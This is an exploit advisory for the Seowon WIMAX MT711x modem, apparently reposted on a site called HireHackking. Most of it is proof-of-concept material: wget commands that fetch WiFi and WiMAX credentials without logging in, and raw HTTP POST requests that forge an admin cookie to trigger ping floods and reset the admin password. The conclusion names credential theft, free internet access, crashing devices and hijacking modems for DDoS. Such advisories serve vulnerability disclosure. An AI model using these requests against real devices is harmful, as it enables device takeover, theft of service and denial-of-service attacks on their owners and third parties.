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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
### Exploit Title: WIMAX MT711x - Multiple Vulnerabilities
### Date: ˝Friday, ˝December ˝11, ˝2015
### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5)
### Vendor Homepage: http://www.seowonintech.co.kr/en/
### Version: V_3_11_14_9_CPE
### Tested on: Kali-Linux

I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org)
I have updated the modem to latest firmware which released by the company.
but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism.  

### Details of MT711x model:
Version Information:
Build Time 	 2014.08.18-11:49
CPE Ver 	 1.0.9
MTK FW Ver 	 EX_REL_MT711x_V_3_11_14_9_CPE
Serial Number 	 IRMB1351C9200-0001044

I used below tools to find the vulnerabilities:
1)BurpSuite - Free Edition     2)wget      3)Nmap


### POCs of the modem:
#Get the WIFI settings>>
wget -c "http://server/cgi-bin/multi_wifi.cgi"

#Get Wimax credentials>>
wget -c "http://server/cgi-bin/wccm_wimax_setting.cgi"

#Enable and Disable connections to modem (as default those are ENABLED)>>
http://server/cgi-bin/remote.cgi


#Ping a system (useful for launching (D)DOS attack)>>
POST /cgi-bin/diagnostic.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/diagnostic.cgi
Cookie: login=; login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
select_mode_ping=on&ping_ipaddr=4.2.2.4&ping_count=10&trace_ipaddr=&trace_max_ttl=6&trace_qoeries_num=3&trace_report_only_hidden=0&action=Apply&html_view=ping

#Change the password of ADMIN account:
POST /cgi-bin/pw.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/pw.cgi
Cookie: login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
isp_name=mobinnet&pw_set_select=admin&passPass=admin&passCfirm=admin&action=Apply


### Conclusion: 
1)the attacker can read sensitive information and set it on his own modem. such: for using free internet.
2)Anyone who can send a packet to the modem for crashing/downgrading/DOS.
3)To obtain the control of similar modem(MT711x) in order to launching DOS or DDOS attacks on targets in WWW(world wide web).  


At the end, I am thankful and I wait for your response.